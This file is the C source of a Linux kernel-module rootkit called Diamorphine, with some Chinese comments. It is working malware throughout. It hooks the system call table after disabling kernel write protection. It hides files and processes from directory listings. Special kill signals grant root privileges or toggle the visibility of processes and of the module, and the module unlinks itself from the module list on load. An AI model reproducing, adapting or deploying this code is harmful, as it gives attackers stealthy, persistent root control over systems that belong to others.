text: #include <linux/sched.h>
  #include <linux/module.h>
  #include <linux/syscalls.h>
  #include <linux/dirent.h>
  #include <linux/slab.h>
  #include <linux/version.h> 
  
  #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
  #include <asm/uaccess.h>
  #endif
  
  #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
  #include <linux/proc_ns.h>
  #else
  #include <linux/proc_fs.h>
  #endif
  
  #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
  #include <linux/file.h>
  #else
  #include <linux/fdtable.h>
  #endif
  
  #ifndef __NR_getdents
  #define __NR_getdents 141
  #endif
  
  #include "diamorphine.h"
  
  #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
  unsigned long cr0;//CR0寄存器
  #elif IS_ENABLED(CONFIG_ARM64)
  void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
  unsigned long start_rodata;
  unsigned long init_begin;
  #define section_size    init_begin - start_rodata
  #else
  #error Unsupported architecture
  #endif
  static unsigned long *__sys_call_table;//系统调用表
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  	typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
  	static t_syscall orig_getdents;
  	static t_syscall orig_getdents64;
  	static t_syscall orig_kill;
  #else
  	typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
  		unsigned int);
  	typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
  		struct linux_dirent64 *, unsigned int);
  	typedef asmlinkage int (*orig_kill_t)(pid_t, int);
  	orig_getdents_t orig_getdents;
  	orig_getdents64_t orig_getdents64;
  	orig_kill_t orig_kill;
  #endif
  
  unsigned long *
  get_syscall_table_bf(void)
  {
  	unsigned long *syscall_table;
  	
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
  	syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");//获得sys_call_table的地址
  	return syscall_table;
  #else
  	unsigned long int i;
  
  	for (i = (unsigned long int)sys_close; i < ULONG_MAX;
  			i += sizeof(void *)) {
  		syscall_table = (unsigned long *)i;
  
  		if (syscall_table[__NR_close] == (unsigned long)sys_close)
  			return syscall_table;
  	}
  	return NULL;
  #endif
  }
  
  struct task_struct *
  find_task(pid_t pid)
  {
  	struct task_struct *p = current;
  	for_each_process(p) {
  		if (p->pid == pid)
  			return p;
  	}
  	return NULL;
  }
  
  int
  is_invisible(pid_t pid)
  {
  	struct task_struct *task;
  	if (!pid)
  		return 0;
  	task = find_task(pid);
  	if (!task)
  		return 0;
  	if (task->flags & PF_INVISIBLE)
  		return 1;
  	return 0;
  }
  
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
  #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
          int fd = (int) pt_regs->di;
          struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
  #elif IS_ENABLED(CONFIG_ARM64)
  		int fd = (int) pt_regs->regs[0];
          struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
  #else
  #error Unsupported architecture
  #endif
  	int ret = orig_getdents64(pt_regs), err;
  #else
  asmlinkage int
  hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
  	unsigned int count)
  {
  	int ret = orig_getdents64(fd, dirent, count), err;
  #endif
  	unsigned short proc = 0;
  	unsigned long off = 0;
  	struct linux_dirent64 *dir, *kdirent, *prev = NULL;
  	struct inode *d_inode;
  
  	if (ret <= 0)
  		return ret;
  
  	kdirent = kzalloc(ret, GFP_KERNEL);
  	if (kdirent == NULL)
  		return ret;
  
  	err = copy_from_user(kdirent, dirent, ret);
  	if (err)
  		goto out;
  
  #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
  	d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
  #else
  	d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
  #endif
  	if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
  		/*&& MINOR(d_inode->i_rdev) == 1*/)
  		proc = 1;
  
  	while (off < ret) {
  		dir = (void *)kdirent + off;
  		if ((!proc &&
  		(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
  		|| (proc &&
  		is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
  			if (dir == kdirent) {
  				ret -= dir->d_reclen;
  				memmove(dir, (void *)dir + dir->d_reclen, ret);
  				continue;
  			}
  			prev->d_reclen += dir->d_reclen;
  		} else
  			prev = dir;
  		off += dir->d_reclen;
  	}
  	err = copy_to_user(dirent, kdirent, ret);
  	if (err)
  		goto out;
  out:
  	kfree(kdirent);
  	return ret;
  }
  
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
  #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
          int fd = (int) pt_regs->di;
          struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
  #elif IS_ENABLED(CONFIG_ARM64)
  		int fd = (int) pt_regs->regs[0];
          struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
  #else
  #error Unsupported architecture
  #endif
  	int ret = orig_getdents(pt_regs), err;
  #else
  asmlinkage int
  hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
  	unsigned int count)
  {
  	int ret = orig_getdents(fd, dirent, count), err;
  #endif
  	unsigned short proc = 0;
  	unsigned long off = 0;
  	struct linux_dirent *dir, *kdirent, *prev = NULL;
  	struct inode *d_inode;
  
  	if (ret <= 0)
  		return ret;	
  
  	kdirent = kzalloc(ret, GFP_KERNEL);
  	if (kdirent == NULL)
  		return ret;
  
  	err = copy_from_user(kdirent, dirent, ret);
  	if (err)
  		goto out;
  
  #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
  	d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
  #else
  	d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
  #endif
  
  	if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
  		/*&& MINOR(d_inode->i_rdev) == 1*/)
  		proc = 1;
  
  	while (off < ret) {
  		dir = (void *)kdirent + off;
  		if ((!proc && 
  		(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
  		|| (proc &&
  		is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
  			if (dir == kdirent) {
  				ret -= dir->d_reclen;
  				memmove(dir, (void *)dir + dir->d_reclen, ret);//shell ls指令下隐藏当前文件名
  				continue;
  			}
  			prev->d_reclen += dir->d_reclen;
  		} else
  			prev = dir;
  		off += dir->d_reclen;
  	}
  	err = copy_to_user(dirent, kdirent, ret);
  	if (err)
  		goto out;
  out:
  	kfree(kdirent);
  	return ret;
  }
  
  void
  give_root(void)
  {
  	#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
  		current->uid = current->gid = 0;
  		current->euid = current->egid = 0;
  		current->suid = current->sgid = 0;
  		current->fsuid = current->fsgid = 0;
  	#else
  		struct cred *newcreds;
  		newcreds = prepare_creds();
  		if (newcreds == NULL)
  			return;
  		#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
  			&& defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
  			|| LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
  			newcreds->uid.val = newcreds->gid.val = 0;
  			newcreds->euid.val = newcreds->egid.val = 0;
  			newcreds->suid.val = newcreds->sgid.val = 0;
  			newcreds->fsuid.val = newcreds->fsgid.val = 0;
  		#else
  			newcreds->uid = newcreds->gid = 0;
  			newcreds->euid = newcreds->egid = 0;
  			newcreds->suid = newcreds->sgid = 0;
  			newcreds->fsuid = newcreds->fsgid = 0;
  		#endif
  		commit_creds(newcreds);
  	#endif
  }
  
  static inline void
  tidy(void)
  {
  //	kfree(THIS_MODULE->notes_attrs);
  //	THIS_MODULE->notes_attrs = NULL;
  	kfree(THIS_MODULE->sect_attrs);
  	THIS_MODULE->sect_attrs = NULL;
  //	kfree(THIS_MODULE->mkobj.mp);
  //	THIS_MODULE->mkobj.mp = NULL;
  //	THIS_MODULE->modinfo_attrs->attr.name = NULL;
  //	kfree(THIS_MODULE->mkobj.drivers_dir);
  //	THIS_MODULE->mkobj.drivers_dir = NULL;
  }
  //module列表添加
  static struct list_head *module_previous;
  static short module_hidden = 0;
  void
  module_show(void)
  {
  	list_add(&THIS_MODULE->list, module_previous);
  	//kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent,
  	//			MODULE_NAME);
  	module_hidden = 0;
  }
  
  void
  module_hide(void)
  {
  	module_previous = THIS_MODULE->list.prev;
  	list_del(&THIS_MODULE->list);
  	//kobject_del(&THIS_MODULE->mkobj.kobj);
  	//list_del(&THIS_MODULE->mkobj.kobj.entry);
  	module_hidden = 1;
  }
  
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  asmlinkage int
  hacked_kill(const struct pt_regs *pt_regs)
  {
  #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
          pid_t pid = (pid_t) pt_regs->di;
          int sig = (int) pt_regs->si;
  #elif IS_ENABLED(CONFIG_ARM64)
          pid_t pid = (pid_t) pt_regs->regs[0];
          int sig = (int) pt_regs->regs[1];
  #else
  #error Unsupported architecture
  #endif
  #else
  asmlinkage int
  hacked_kill(pid_t pid, int sig)
  {
  #endif
  	struct task_struct *task;
  	switch (sig) {
  		case SIGINVIS:
  			if ((task = find_task(pid)) == NULL)
  				return -ESRCH;
  			task->flags ^= PF_INVISIBLE;
  			break;
  		case SIGSUPER:
  			give_root();
  			break;
  		case SIGMODINVIS:
  			if (module_hidden) module_show();
  			else module_hide();
  			break;
  		default:
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  			return orig_kill(pt_regs);
  #else
  			return orig_kill(pid, sig);
  #endif
  	}
  	return 0;
  }
  
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  static inline void
  write_cr0_forced(unsigned long val)//关闭写保护
  {
      unsigned long __force_order;
  
      /* __asm__ __volatile__( */
      asm volatile(
          "mov %0, %%cr0"
          : "+r"(val), "+m"(__force_order));
  }
  #endif
  
  static inline void
  protect_memory(void)
  {
  #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  	write_cr0_forced(cr0);
  #else
  	write_cr0(cr0);
  #endif
  #elif IS_ENABLED(CONFIG_ARM64)
      update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
  			    section_size, PAGE_KERNEL_RO);
  
  #else
  #error Unsupported architecture
  #endif
  }
  
  static inline void
  unprotect_memory(void)
  {
  #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  	write_cr0_forced(cr0 & ~0x00010000);
  #else
  	write_cr0(cr0 & ~0x00010000);
  #endif
  #elif IS_ENABLED(CONFIG_ARM64)
      update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
  			    section_size, PAGE_KERNEL);
  #else
  #error Unsupported architecture
  #endif
  }
  
  static int __init
  diamorphine_init(void)
  {
  	__sys_call_table = get_syscall_table_bf();
  	if (!__sys_call_table)
  		return -1;
  
  #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
  	cr0 = read_cr0();
  #elif IS_ENABLED(CONFIG_ARM64)
      update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
      start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
      init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
  #else
  #error Unsupported architecture
  #endif
  
  	module_hide();
  	tidy();
  
  #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
  	orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
  	orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
  	orig_kill = (t_syscall)__sys_call_table[__NR_kill];
  #else
  	orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
  	orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
  	orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
  #endif
  
  	unprotect_memory();
  
  	__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
  	__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
  	__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
  
  	protect_memory();
  
  	return 0;
  }
  
  static void __exit
  diamorphine_cleanup(void)
  {
  	unprotect_memory();
  
  	__sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
  	__sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
  	__sys_call_table[__NR_kill] = (unsigned long) orig_kill;
  
  	protect_memory();
  }
  
  module_init(diamorphine_init);
  module_exit(diamorphine_cleanup);
  
  MODULE_LICENSE("Dual BSD/GPL");
  MODULE_AUTHOR("m0nad");
  MODULE_DESCRIPTION("LKM rootkit");
  